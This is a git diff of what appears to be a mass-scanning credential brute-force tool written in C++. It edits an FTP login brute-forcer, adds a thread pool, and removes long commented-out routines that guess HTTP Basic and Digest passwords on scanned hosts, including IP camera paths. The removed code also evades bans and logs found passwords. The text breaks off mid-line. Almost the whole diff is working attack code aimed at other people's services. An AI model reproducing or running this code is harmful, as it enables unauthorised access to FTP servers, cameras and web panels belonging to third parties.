a/FTPAuth.cpp b/FTPAuth.cpp index 401b002..9e580cc 100644 --- a/FTPAuth.cpp +++ b/FTPAuth.cpp @@ -3,10 +3,7 @@ bool FTPA::checkOutput(const string *buffer) { //Login or password incorrect! - if(Utils::ci_find_substr(*buffer, "200 ok") != -1 || - Utils::ci_find_substr(*buffer, "http/1.0 200") != -1 || - Utils::ci_find_substr(*buffer, "http/1.1 200") != -1 - ) { + if(Utils::ci_find_substr(*buffer, "230") != -1) { return true; } @@ -36,9 +33,9 @@ lopaStr FTPA::_FTPBrute(const char *ip, const int port, const PathStr *ps) { lpString = string(loginLst[i]) + ":" + string(passLst[j]); - Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString); + Connector::nConnect((string("ftp://") + string(ip)).c_str(), port, &buffer, NULL, NULL, &lpString); - if(checkOutput(&buffer) != 0) { + if(checkOutput(&buffer)) { strcpy(lps.login, loginLst[i]); strcpy(lps.pass, passLst[j]); return lps; @@ -51,8 +48,8 @@ lopaStr FTPA::_FTPBrute(const char *ip, const int port, const PathStr *ps) { return lps; } -lopaStr FTPA::_FTPLobby(const char *ip, const int port, const PathStr *ps){ - while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); +lopaStr FTPA::_FTPLobby(const char *ip, const int port, const PathStr *ps) { + while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); BruteUtils::BConInc(); const lopaStr &lps = _FTPBrute(ip, port, ps); diff --git a/Threader.cpp b/Threader.cpp new file mode 100644 index 0000000..995e338 --- /dev/null +++ b/Threader.cpp @@ -0,0 +1,21 @@ +#include <Threader.h> + +std::vector<ThreadStruct> Threader::threadPool; + +void Threader::createThreadPool(int poolSize, void *func, ST *st) { + for(int i = 0; i < poolSize; ++i) { + pthread_t thrc; + pthread_create(&thrc, NULL, (void *(*)(void*))func, st); + + ThreadStruct threadStruct { + &thrc, + false + }; + + threadPool.push_back(threadStruct); + } +} + +void Threader::fireThread(ST *st) { + +} diff --git a/Threader.h b/Threader.h new file mode 100644 index 0000000..55dae0d --- /dev/null +++ b/Threader.h @@ -0,0 +1,21 @@ +#ifndef THREADER_H +#define THREADER_H + +#include <mainResources.h> + +struct ThreadStruct{ + pthread_t *handler; + bool busy; +}; + +class Threader { +private: + static std::vector<ThreadStruct> threadPool; + +public: + static void createThreadPool(int poolSize, void *func, ST *st); + static void fireThread(ST *st); + static pthread_t getFreeThread(); +}; + +#endif // THREADER_H diff --git a/connector_old.cpp b/connector_old.cpp index ccfb33b..16c8e3d 100644 --- a/connector_old.cpp +++ b/connector_old.cpp @@ -108,29 +108,6 @@ std::string toLowerStr(const char *str) delete []strr; return tstr; } else return ""; - -// if(tsz == 1) -// { -// if(str[0] == 10) return "[No data!]"; -// else return str; -// } -// else if(tsz > 1) -// { -// char * strr = new char[tsz+1]; -// ZeroMemory(strr, tsz); - -// for (int i = 0; i < tsz; i++) -// { -// strr[i] = tl(str[i]); -// }; - -// memset(strr + tsz, '\0', 1); - -// std::string tstr = strr; -// delete []strr; -// return tstr; -// }; -// return ""; } int OpenConnection(SOCKET *sock, const char *hostname, int port) @@ -357,944 +334,6 @@ char *_makeDigestResponse( return (char*)responseMD5; } -//lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) -//{ -// if(strcmp(method, "[DIGEST]") != 0 && strcmp(method, "[NORMAL]") != 0) stt->doEmitionRedFoundData("[-] Unknown method IP: <a style=\"color: #efe100;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "\">" + QString(ip) + ":" + QString::number(port) + + "</a>"); -// lopaStr lps; -// ZeroMemory(lps.login, sizeof(lps.login)); -// ZeroMemory(lps.pass, sizeof(lps.pass)); -// ZeroMemory(lps.other, sizeof(lps.other)); - -// int cookieLen = strlen(cookie); -// char path[512] = {0}; -// strncpy(path, pathT, 512); - -// int bTO; -// bool goon = false; -// char hRqst[REQUEST_MAX_SIZE] = {0}; -// char headerMsg[REQUEST_MAX_SIZE] = { 0 }; -// char hMsgR[512] = {0}; - -// strcpy(hRqst, "GET "); -// strcat(hRqst, path); -// strcat(hRqst, " HTTP/1.1\r\nHost: "); -// strcat(hRqst, ip); - -// if(port != 80){ -// strcat(hRqst, ":"); -// char tbuff[16] = {0}; -// sprintf(tbuff, "%d", port); -// strcat(hRqst, tbuff); -// }; - -// if(cookieLen != 0) -// { -// strcat(hRqst, "\r\nCookie: "); -// strcat(hRqst, cookie); -// }; -// strcat(hRqst, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic bG9sa2E6bG9sa2F=\r\n\r\n"); - -// sockaddr_in sockAddr; -// if(port == 443) -// { -// ZeroMemory(headerMsg, REQUEST_MAX_SIZE); -// _baSSLWorker(ip, hRqst, headerMsg); -// } - -// else -// { -// SOCKET sock; -// sockAddr.sin_family = AF_INET; -// sockAddr.sin_port = htons(port); -// HOSTENT *host; -//#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -// if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); -// else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -// else -// { -// isActive = 0; -// strcpy(lps.login, "UNKNOWN"); -// return lps; -// }; -//#else -// if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); -// else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -// else -// { -// isActive = 0; -// strcpy(lps.login, "UNKNOWN"); -// return lps; -// }; -//#endif -// sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); -// if(sock != INVALID_SOCKET) { - -// if(connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)) != SOCKET_ERROR) { - -// if(send(sock, hRqst, strlen(hRqst), 0) != SOCKET_ERROR) { - -// if(MapWidgetOpened) stt->doEmitionAddOutData(QString(hRqst)); -// ZeroMemory(headerMsg, REQUEST_MAX_SIZE); -// int x = 1; -// int xx = 0; - -// while (xx < REQUEST_MAX_SIZE) -// { -// x = recvWT(sock, hMsgR, sizeof(hMsgR), gTimeOut + 5, &bTO); -// if(x <= 0) break; -// strncat(headerMsg, hMsgR, x); -// xx += x; -// ZeroMemory(hMsgR, sizeof(hMsgR)); -// }; - -// if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(headerMsg)); -// } else { -// if(gDebugMode) stt->doEmitionDebugFoundData("[BA::Send]: " + QString::number(WSAGetLastError())); -// }; -// } else { -// if(gDebugMode) stt->doEmitionDebugFoundData("[BA::Connect]: " + QString::number(WSAGetLastError())); -// }; -// } else { -// if(gDebugMode) stt->doEmitionDebugFoundData("[BA: Invalid socket]: " + QString::number(WSAGetLastError())); -// }; -// CSSOCKET(sock); -// }; - - - -// if(strlen(headerMsg) == 0) -// { -// isActive = 0; - -// strcpy(lps.login, "UNKNOWN"); -// return lps; -// }; - -// if(strstr(headerMsg, "401 ") == NULL -// && strstr(headerMsg, ".1 401") == NULL -// && strstr(headerMsg, ".0 401") == NULL -// && strstr(headerMsg, "<statusValue>401</statusValue>") == NULL -// && strstr(headerMsg, "<statusString>Unauthorized</statusString>") == NULL -// && strstr(headerMsg, "неправильны") == NULL && strstr(headerMsg, "Неправильны") == NULL -// && strstr(headerMsg, "Неправильны") == NULL -// ) -// { -// if(strstri(headerMsg, "400 Bad") != NULL) -// { -// strcpy(lps.other, "[400 Bad Request]"); -// isActive = 0; -// return lps; -// } -// else if(strstri(headerMsg, "404 Not") != NULL -// || strstr(headerMsg, "404 ") != NULL -// || strstr(headerMsg, ".1 404") != NULL -// || strstr(headerMsg, ".0 404") != NULL -// ) -// { -// if(strstr(path, "/axis-cgi/com/ptz.cgi?") != NULL) -// { -// int sz = strlen("/view/viewer_index.shtml"); -// strncpy(path, "/view/viewer_index.shtml", sz); -// memset(path + sz, 0, 1); -// goon = true; -// } -// else -// { -// strcpy(lps.other, QString("[404 Not Found (" + QString(path) + ")]").toLocal8Bit().data()); -// isActive = 0; -// return lps; -// }; -// } -// else if( // -// (strstr(headerMsg, ".1 403") != NULL // -// || strstr(headerMsg, ".0 403") != NULL //Hikkvision2 -// ) // -// && strstr(headerMsg, "badAuthorization") != NULL // -// ) -// { -// goon = true; -// } -// else if(strlen(headerMsg) < 16) -// { -// goon = true; -// stt->doEmitionRedFoundData("Corrupted reply: (" + QString(headerMsg) + ") " + QString(ip) + ":"+ QString::number(port)); -// }; - -// if(goon == false) -// { -// strcpy(lps.login, "NULL"); -// strcpy(lps.pass, "NULL"); -// isActive = 0; -// return lps; -// }; -// }; - - -// isActive = 1; -// char tPass[256] = {0}; -// char curLogin[256] = {0}; -// char curPass[256] = {0}; -// int cCode; -// int dataSz = 0; -// char request[REQUEST_MAX_SIZE] = {0}; -// char recvBuff[4096] = {0}; -// char recvBuff2[512] = {0}; -// char pass[256] = {0}; - -// char localBuff[4096] = {0}; -// strcpy(localBuff, headerMsg); -// int passCounter = 1; -// char attribute[2048] = {0}; -// char nonce[512] = {0}; -// char realm[512] = {0}; -// char opaque[512] = {0}; -// char qop[64] = {0}; -// std::string encoded = ""; - -// for(int i = 0; i < MaxLogin; i++) -// { -// if(globalScanFlag == false) break; -// for (int j = 0; j < MaxPass; j++) -// { -// if (globalScanFlag == false) break; - -// ZeroMemory(request, REQUEST_MAX_SIZE); -// ZeroMemory(curLogin, sizeof(curLogin)); -// ZeroMemory(curPass, sizeof(curPass)); -// strcpy(curLogin, loginLst[i]); -// strcpy(curPass, passLst[j]); - -// if (strcmp(method, "[DIGEST]") == 0 && strstr(localBuff, "nonce=") != NULL) -// { -// ZeroMemory(attribute, sizeof(attribute)); -//// strcpy(attribute, _getAttribute(localBuff, "WWW-Authenticate:")); -// ZeroMemory(nonce, sizeof(nonce)); -// strcpy(nonce, _getAttributeValue(attribute, "nonce=", ip, port)); -// ZeroMemory(realm, sizeof(realm)); -// strcpy(realm, _getAttributeValue(attribute, "realm=", ip, port)); -// ZeroMemory(qop, sizeof(qop)); -// if (strstri(attribute, "qop") != NULL) -// { -// strcpy(qop, _getAttributeValue(attribute, "qop=", ip, port)); -// }; - -// strcpy(request, "GET "); -// strcat(request, path); -// strcat(request, " HTTP/1.1\r\nHost: "); -// strcat(request, ip); -// if (port != 80){ -// strcat(request, ":"); -// char tbuff[16] = { 0 }; -// sprintf(tbuff, "%d", port); -// strcat(request, tbuff); -// }; -// if (cookieLen != 0) -// { -// strcat(request, "\r\nCookie: "); -// strcat(request, cookie); -// }; - -// strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Digest username=\""); -// strcat(request, curLogin); -// strcat(request, "\", realm=\""); -// strcat(request, realm); -// strcat(request, "\", nonce=\""); -// strcat(request, nonce); -// strcat(request, "\", uri=\""); -// strcat(request, path); -// strcat(request, "\", qop=auth, response=\""); -// strcat(request, _makeDigestResponse(curLogin, realm, curPass, path, nonce, "10000001", "9d531d56796e0dc9", qop)); -// if (strstri(attribute, "opaque") != NULL) -// { -// ZeroMemory(opaque, sizeof(opaque)); -// strcpy(opaque, _getAttributeValue(attribute, "opaque=", ip, port)); -// strcat(request, "\", opaque=\""); -// strcat(request, opaque); -// }; -// strcat(request, "\", nc=10000001, cnonce=\"9d531d56796e0dc9\""); -// strcat(request, "\r\nConnection: close\r\n\r\n"); -// } -// else -// { -// ZeroMemory(tPass, sizeof(tPass)); -// strncpy(tPass, curLogin, strlen(curLogin)); -// strcat(tPass, ":"); -// strncat(tPass, curPass, strlen(curPass)); -// encoded = base64_encode((const unsigned char *)tPass, strlen(tPass)); -// strcpy(request, "GET "); -// strcat(request, path); -// strcat(request, " HTTP/1.1\r\nHost: "); -// strcat(request, ip); -// if (port != 80){ -// strcat(request, ":"); -// char tbuff[16] = { 0 }; -// sprintf(tbuff, "%d", port); -// strcat(request, tbuff); -// }; -// if (cookieLen != 0) -// { -// strcat(request, "\r\nCookie: "); -// strcat(request, cookie); -// }; - -// strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nAuthorization: Basic "); -// strcat(request, encoded.c_str()); -// strcat(request, "\r\nConnection: close\r\n\r\n"); -// }; - -// if (port == 443) -// { -// ZeroMemory(recvBuff, sizeof(recvBuff)); -// if (BALogSwitched) stt->doEmitionBAData("Probing SSL:BA " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(tPass) + ";"); -// _baSSLWorker(ip, request, recvBuff); -// dataSz = strlen(recvBuff); -// } - -// else -// { -// SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); -// cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - -// if (cCode == SOCKET_ERROR) { - -// int errorCode = WSAGetLastError(); -// if (errorCode == WSAENOTSOCK) { - -// while (errorCode == WSAENOTSOCK) -// { -// if (gDebugMode) stt->doEmitionDebugFoundData("[BA][ENOTSOCK] - [" + QString(ip) + ":" + QString::number(port) + "]"); -// CSSOCKET(sock); -// sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); -// cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); -// errorCode = WSAGetLastError(); -// }; -// } -// else { - -// CSSOCKET(sock); - -// if (errorCode != WSAETIMEDOUT) -// { -// stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(errorCode) + "]"); -// }; - -// isActive = 0; -// strcpy(lps.login, "UNKNOWN"); -// return lps; -// }; -// } -// else { - -// int x = 1; -// Activity += strlen(request); - -// if (send(sock, request, strlen(request), 0) != SOCKET_ERROR) -// { -// if (MapWidgetOpened) stt->doEmitionAddOutData(QString(request)); -// dataSz = 0; -// ZeroMemory(recvBuff2, sizeof(recvBuff2)); -// ZeroMemory(recvBuff, sizeof(recvBuff)); -// while (x > 0 && dataSz < 3384) -// { -// ZeroMemory(recvBuff2, sizeof(recvBuff2)); -// x = recvWT(sock, recvBuff2, sizeof(recvBuff2), gTimeOut + 5, &bTO); - -// dataSz += x; -// Activity += x; -// strncat(recvBuff, recvBuff2, x); -// }; -// if (BALogSwitched) stt->doEmitionBAData("Checked BA: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(curLogin) + ":" + QString(curPass) + "; - Progress: (" + QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); -// } -// else -// { -// stt->doEmitionRedFoundData("[BA] Send error! [" + QString(ip) + "]"); - -// CSSOCKET(sock); -// isActive = 0; -// strcpy(lps.login, "UNKNOWN"); -// return lps; -// } -// }; -// CSSOCKET(sock); -// }; - - -// if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); - -// if (dataSz == 0) -// { -// stt->doEmitionBAData("[BA] No reply from: " + QString(ip) + "; Repeating..."); -// --j; -// continue; -// } -// else -// { -// ++passCounter; -// }; - -// if (strcmp(method, "[DIGEST]") == 0) -// { -// ZeroMemory(localBuff, sizeof(localBuff)); -// strcpy(localBuff, recvBuff); -// }; -// if (strstri(recvBuff, "http/1.1 401") != NULL -// || strstri(recvBuff, "http/1.0 401") != NULL -// || (strstri(recvBuff, "200 ok") != NULL -// && strstri(recvBuff, "<statusValue>401</statusValue>") != NULL -// && strstri(recvBuff, "<statusString>Unauthorized</statusString>") != NULL) -// ) -// { -// Sleep(200); -// } else -// //if(strstri(recvBuff, "http/1.1 401") == NULL -// // || strstri(recvBuff, "http/1.0 401") == NULL -// // ) -// //{ -// // if ((strstri(recvBuff, "200 ok") != NULL -// // || strstri(recvBuff, "http/1.0 200") != NULL -// // || strstri(recvBuff, "http/1.1 200") != NULL -// // ) -// // && strstr(headerMsg, "неправильны") == NULL -// // && strstr(headerMsg, "Неправильны") == NULL -// // && strstr(headerMsg, "Неправильны") == NULL) -// // { -// // } -// // stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")"); -// // Sleep(200); -// // ///dummy/// -// //} -// if(strstri(recvBuff, "503 service unavailable") != NULL -// || strstri(recvBuff, "http/1.1 503") != NULL -// || strstri(recvBuff, "http/1.0 503") != NULL -// || strstr(recvBuff, "400 BAD_REQUEST") != NULL -// || strstri(recvBuff, "400 bad request") != NULL -// || strstr(recvBuff, "403 Forbidden") != NULL -// ) -// { -// stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")"); - -// if(j > 0) --j; -// Sleep(30000); -// } -// else if((strstri(recvBuff, "http/1.1 404") != NULL -// || strstri(recvBuff, "http/1.0 404") != NULL -// ) -// && strstri(recvBuff, "Authorization required") == NULL -// ) -// { -// if(HTMLDebugMode) _DebugWriteHTMLToFile(request, recvBuff); - -// if (i > 0 || j > 0) stt->doEmitionYellowFoundData("[?] Unexpected 404. Check <u>" + QString(ip) + ":" + QString::number(port) + " l/p:" + QString(tPass) + "</u> manually. (" + QString(ip) + ":" + QString::number(port) + QString(path) + ")"); -// else stt->doEmitionRedFoundData("[-] 404 - Wrong path detected. (" + QString(ip) + ":" + QString::number(port) + QString(path) + ")"); - -// isActive = 0; -// strcpy(lps.login, "UNKNOWN"); -// return lps; -// } -// else if ((strstri(recvBuff, "200 ok") != NULL -// || strstri(recvBuff, "http/1.0 200") != NULL -// || strstri(recvBuff, "http/1.1 200") != NULL -// ) -// && strstri(recvBuff, "http/1.1 401 ") == NULL -// && strstri(recvBuff, "http/1.0 401 ") == NULL -// && strstri(recvBuff, "<statusValue>401</statusValue>") == NULL -// && strstri(recvBuff, "<statusString>Unauthorized</statusString>") == NULL -// && strstri(recvBuff, "неправильны") == NULL -// && strstri(recvBuff, "Неправильны") == NULL -// && dataSz > 13 -// ) -// { -// if(strstri(recvBuff, "access is denied") == NULL -// && strstri(recvBuff, "iisstart") == NULL -// && strstri(recvBuff, "Location:") == NULL -// && strstri(recvBuff, "access forbidden") == NULL -// ) -// { -// ZeroMemory(pass, sizeof(pass)); -// strcpy(pass, ip); -// strcat(pass, " - Password found: "); -// strcat(pass, tPass); -// isActive = 0; -// stt->doEmition_BAGreenData("[+] " + QString(pass)); -// strcpy(lps.login, curLogin); -// strcpy(lps.pass, curPass); -// return lps; -// }; -// } -// else -// { -// if (strstri(recvBuff, "неправильны") == NULL -// && strstri(recvBuff, "Неправильны") == NULL) -// { -// ZeroMemory(pass, sizeof(pass)); -// sprintf(pass, "%s - Password found: %s", ip, tPass); -// char *pt1 = strstr(recvBuff, " "); -// if(pt1 != NULL) -// { -// char *pt2 = strstr(pt1 + 1, " "); -// if(pt2 != NULL) -// { -// int sz = pt2 - pt1 - 1; -// char tempHeaderCode[16] = {0}; -// strncpy(tempHeaderCode, pt1 + 1, sz); - -// if(strcmp(tempHeaderCode, "302") == 0 && strcmp(tempHeaderCode, "200") == 0) stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (" + QString(tempHeaderCode) + ") IP: <a style=\"color: #efe100;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "\">" + QString(ip) + ":" + QString::number(port) + "</a>"); -// strcpy(lps.login, curLogin); -// strcpy(lps.pass, curPass); -// return lps; -// }; -// }; -// stt->doEmitionYellowFoundData("[+] No/unexpected HTTP header detected (?) IP: <a style=\"color: #efe100;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "\">" + QString(ip) + ":" + QString::number(port) + "</a>"); -// strcpy(lps.login, curLogin); -// strcpy(lps.pass, curPass); -// isActive = 0; -// return lps; -// } -// else Sleep(200); -// }; - -// if(strstr(recvBuff, "Set-Cookie:") != NULL) -// { -// ZeroMemory(cookie, COOKIE_MAX_SIZE); -//// strncpy(cookie, _getAttribute(recvBuff, "Set-Cookie:"), COOKIE_MAX_SIZE); -// cookieLen = strlen(cookie); -// }; -// }; -// }; - -// isActive = 0; - -// strcpy(lps.login, "UNKNOWN"); -// return lps; -//} - -//lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method) -//{ -// while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); - -// BruteUtils::BConInc(); -// lopaStr res = _BABrute(cookie, ip, port, path, method); -// BruteUtils::BConDec(); - -// return res; -//} - -//lopaStr _FTPBrute(char *ip, int port, PathStr *ps) -//{ -// lopaStr lps; -// ZeroMemory(lps.login, sizeof(lps.login)); -// ZeroMemory(lps.pass, sizeof(lps.pass)); -// ZeroMemory(lps.other, sizeof(lps.other)); - -// char recvBuff[1024] = {0}, request[64] = {0}; -// sockaddr_in sockAddr; -// sockAddr.sin_family = AF_INET; -// sockAddr.sin_port = htons(port); -// HOSTENT *host; - -//#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -// if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); -// else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -// else -// { -// strcpy(lps.login, "UNKNOWN"); -// return lps; -// }; -//#else -// if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); -// else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -// else -// { -// strcpy(lps.login, "UNKNOWN"); -// return lps; -// }; -//#endif - -// bool breakPassLoop = 0; -// int passCounter = 1; -// int bTO; -// int x = 0; -// int connectionResult, closedSocket = 1, loginFailedFlag = 0; - -// SOCKET sockFTP; -// for(int i = 0; i < MaxLogin; ++i) -// { -// if(globalScanFlag == false) break; -// if(strlen(loginLst[i]) <= 1) continue; - -// for(int j = 0; j < MaxPass; ++j) -// { -// if(globalScanFlag == false) break; -// if(strlen(passLst[j]) <= 1) continue; - -// if(closedSocket) -// { -// closedSocket = 0; -// sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); -// connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); - -// while(WSAGetLastError() == WSAENOTSOCK) -// { -// if(gDebugMode) stt->doEmitionDebugFoundData("[FTP][ENOTSOCK] [" + QString(ip) + ":" + QString::number(port) + "]"); -// CSSOCKET(sockFTP); -// sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); -// connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr)); -// }; -// loginFailedFlag = 0; -// }; - -// if(connectionResult != SOCKET_ERROR) -// { -// x = 0; -// while (true) -// { -// Sleep(100); -// ZeroMemory(recvBuff, 1024); -// x = recvWT(sockFTP, recvBuff, 1024, gTimeOut + 5, &bTO); -// if(x <= 0) break; -// if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff)); - -// Activity += x; -// closedSocket = 0; -// if(strstr(recvBuff, "451 The parameter is incorrect") != NULL) -// { -// CSSOCKET(sockFTP); -// stt->doEmition_BARedData("[*] Unknown protocol (451 Error) - " + QString(ip)); -// strcpy(lps.other, "Unknown protocol (451 Error)"); -// return lps; -// }; - -// if(strstri(recvBuff, "only anonymous") != NULL) -// { -// CSSOCKET(sockFTP); -// stt->doEmition_BAGreenData("[*] Anonymous access detected - " + QString(ip)); - -// strcpy(lps.login, "anonymous"); -// strcpy(lps.pass, "1"); -// return lps; -// }; - -// if(strstr(recvBuff, "550 no connections allowed") != NULL -// || strstr(recvBuff, "550-") != NULL -// ) -// { -// CSSOCKET(sockFTP); - -// stt->doEmition_BARedData("[-] 550 (No connections allowed) - Ban detected. Dropping " + QString(ip)); - -// strcpy(lps.login, "UNKNOWN"); -// return lps; -// }; - -// if(strstr(recvBuff, "no such command")) -// { -// CSSOCKET(sockFTP); - -// stt->doEmition_BARedData("[-] 500 (Sorry, no such command) " + QString(ip)); -// strcpy(lps.other, "[500 Sorry, no such command]"); -// return lps; -// }; - -// if((strstr(recvBuff, "500 ") != NULL -// || strstr(recvBuff, "500-") != NULL -// ) -// && strstri(recvBuff, "500 oops") == NULL -// ) -// { -// j = 0; -// break; -// }; - -// if(strstr(recvBuff, "421 ") != NULL || strstr(recvBuff, "421-") != NULL) -// { -// break; -// }; - -// if(strstri(recvBuff, "530 Sorry, no ANONYMOUS access allowed.") != NULL) -// { -// ++i; -// break; -// }; - -// if(globalScanFlag == false) break; - -// if((strstr(recvBuff, "530 Sorry") != NULL) -// || (strstr(recvBuff, "530") != NULL && strstr(recvBuff, "maximum") != NULL) -// || strstr(recvBuff, "exceeded") != NULL -// || strstr(recvBuff, "421 Too many") != NULL -// || strstr(recvBuff, "from this IP") != NULL -// || strstr(recvBuff, "from your IP") != NULL) -// { -// stt->doEmition_BARedData("[-] FTP: 530 - Ban detected? Waiting 30sec (" + QString(ip) + ")"); -// if(j > 0) --j; -// ZeroMemory(recvBuff, sizeof(recvBuff)); -// Sleep(30000); -// break; -// } -// else if( (strstr(recvBuff, "220 ") != NULL || loginFailedFlag == 1 || strstr(recvBuff, "503") != NULL || strstr(recvBuff, "server ready") != NULL )) -// { -// strcpy(request, "USER "); -// if(strlen(loginLst[i]) != 0) strcat(request, loginLst[i]); -// else -// { -// loginFailedFlag = 1; -// break; -// }; -// strcat(request, "\r\n"); -// if(send(sockFTP, request, strlen(request), 0) != SOCKET_ERROR) -// { -// if(MapWidgetOpened) stt->doEmitionAddOutData(QString(request)); -// Activity += strlen(request); - -// ZeroMemory(request, sizeof(request)); -// } -// else -// { -// stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); -// }; -// } -// else if(strstr(recvBuff, "530") != NULL -// || strstr(recvBuff, "Login incorrect") != NULL -// || strstri(recvBuff, "500 oops") != NULL -// ) -// { -// loginFailedFlag = 1; -// break; -// } -// else if(strstr(recvBuff, "331") != NULL) -// { -// if(strstr(recvBuff, "Non-anonymous sessions must use encryption") != NULL -// || strstr(recvBuff, "Rejected--secure connection required") != NULL -// ) -// { -// stt->doEmition_BARedData("FTP server (" + QString(ip) + ") appears to require SSL for specified user: " + QString(loginLst[i])); -// CSSOCKET(sockFTP); -// strcpy(lps.login, "UNKNOWN"); -// return lps; -// } -// else if(strstri(recvBuff, "permission denied") == NULL) -// { -// strcpy(request, "PASS "); -// if(strlen(passLst[j]) != 0) strcat(request, passLst[j]); -// else -// { -// loginFailedFlag = 1; -// break; -// }; -// strcat(request, "\r\n"); -// if(send(sockFTP, request, strlen(request), 0) != SOCKET_ERROR) -// { -// if(MapWidgetOpened) stt->doEmitionAddOutData(QString(request)); - -// Activity += strlen(request); -// ZeroMemory(request, sizeof(request)); - -// if(BALogSwitched) stt->doEmitionBAData("Probing FTP: " + QString(ip) + ":" + QString::number(port) + "; login/pass: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)"); -// ++passCounter; -// } -// else -// { -// stt->doEmitionRedFoundData("[FTP] Send error. " + QString(ip) + ":" + QString::number(port)); -// }; -// } -// else -// { -// breakPassLoop = 1; -// stt->doEmition_BARedData("Permission denied for login - " + QString(ip) + ":" + QString::number(port) + "; login: " + QString(loginLst[i])); -// break; -// }; -// } -// else if(strstr(recvBuff, "230") != NULL) -// { -// char pass[128] = {0}; - -// strcpy(pass, ip); -// strcat(pass, " - FTP Password found: "); -// strcat(pass, loginLst[i]); -// strcat(pass, ":"); -// strcat(pass, passLst[j]); - -// char recvBuff2[2048] = {0}; -// if(send(sockFTP, "PASV\r\n", 6, 0) != SOCKET_ERROR) -// { -// int x = 1, xx = 0; -// while(x != 0) -// { -// ZeroMemory(recvBuff, sizeof(recvBuff)); -// x = recvWT(sockFTP, recvBuff, sizeof(recvBuff), gTimeOut + 5, &bTO); -// xx += x; -// if(xx < 1536) strncat(recvBuff2, recvBuff, x); -// else break; -// }; - -// if(strstri(recvBuff2, "unknown command") != NULL || strstri(recvBuff2, "invalid command") != NULL) -// { -// stt->doEmitionYellowFoundData("[-] PASV failed. Router detected?"); -// CSSOCKET(sockFTP); -// strcpy(lps.login, loginLst[i]); -// strcpy(lps.pass, passLst[j]); -// strcpy(lps.other, "ROUTER"); -// return lps; -// }; - -// char *ptr0 = strstr(recvBuff2, "227 "); - -// if( ptr0 != NULL ) -// { -// if(strstr(ptr0, "(") != NULL) -// { -// char pasvData[32] = {0}; -// char *ptr1 = strstr(ptr0, "("); -// char *ptr2 = strstr(ptr0, ")"); -// int 